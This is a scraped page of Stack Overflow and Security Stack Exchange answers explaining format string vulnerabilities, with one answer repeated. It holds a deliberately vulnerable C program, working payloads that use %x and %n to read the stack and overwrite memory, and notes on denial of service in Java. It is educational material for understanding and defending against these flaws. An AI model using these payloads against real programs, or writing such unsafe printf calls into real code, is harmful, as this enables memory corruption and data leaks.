You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:
Reading from arbitrary memory addresses
[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.
It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
Writing to arbitrary memory addresses
You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.
Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.
Answer from Michael F on Stack Overflowc - How can a Format-String vulnerability be exploited? - Stack Overflow
Confused about format string vulnerability explanation
Format string vulnerability in Java? - Information Security Stack Exchange
Be Careful with Python's New-Style String Format
Videos
You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:
Reading from arbitrary memory addresses
[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.
It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
Writing to arbitrary memory addresses
You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.
Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.
It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:
"%200$p"
to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).
However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.
* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.
In the book the art of exploitation, I am confused as to why 4 bytes have to added after the memory address, before writing to the next address. It's in the exploitation chapter
There are two high-threat things you can do with format string vulnerabilities in C - leak data and overwrite memory - and neither are relevant in Java. Java's string formatter doesn't even have the "conversion" that is used for overwriting memory, as you noticed. However, Java also is generally safe against such attacks because Java - unlike C - actually checks the number of variadic parameters expected against the number present. If you request a parameter that isn't present - either by index or just by having too many conversions - the formatter will throw an exception. So, there's no way to run off the end of the parameter list and start reading other information from the stack (which is generally not intended to be user-viewable, and may reveal secrets ranging from ASLR masks to cryptographic keys, which could be useful if an attacker can control the format string and invoke the function multiple times).
Interestingly, Java doesn't object if you pass too many variadic parameters - only too few - so you can potentially reveal things that are not normally revealed if the function call is written with excess parameters that aren't usually used. However, that's a pretty unlikely kind of bug, and even then, you could only reveal what those parameters are.
Java's conversions are also type-safe. For example, in C, you can expose pointer values (very valuable when trying to write memory exploits, especially since this can also reveal things like ASLR masks) by asking a format string function to render a pointer (such as to a string) as a numeric type. In Java, that doesn't work; if you pass a string (or any other reference type) and somebody messes with the format string to ask for a hex number, it'll just cause an exception again.
It's worth noting that there is ONE kind of vulnerability possible here: denial of service. An attacker who controls the format string can easily cause the app to throw an exception, for example by supplying the illegal format conversion %0$d (which requests the "zeroeth" parameter as an integer type, when such indices must start at 1). This exception, if uncaught, will cause a crash (even if caught, it may prevent the app from completing its operation correctly). However, as far as I can tell, such denial-of-service risk is the only realistic threat from user-controlled format strings in Java.
There are multiple potential vulnerabilities with this:
- Log injection / log forging
Depending on how you use the formatted message afterwards, it might be possible to perform log injection, for example to deceive the person reading the log files. However, this is also possible to some extent when the user input is only used as formatting argument. - Leaking arguments
If additional arguments are provided to the format call which are not or only partially included in the formatted message by default, then a user-provided format string could expose these unused arguments.
While some advisories mention this vulnerability, personally I think this is rather unlikely because the arguments to be leaked already have to part of the formatting call, e.g.String.format(userFormatStr, arg1, secretArg). - Denial of service: Runtime exception
A user-controlled malformed format string could cause runtime exceptions such as aIllegalFormatException. Depending on how your application handles this, it might allow performing a denial of service attack. - Denial of service: Memory consumption
The width of a format specifier can be misused to allocate large amounts of memory. This also works for the specifier%%(e.g.%10000%), so this can be performed regardless of which format arguments are provided.
More information:
- Fortify: Denial of Service: Format String
- SEI CERT Oracle Coding Standard for Java: IDS06-J. Exclude unsanitized user input from format strings
- Tweet by Wouter Coekaerts about width denial of service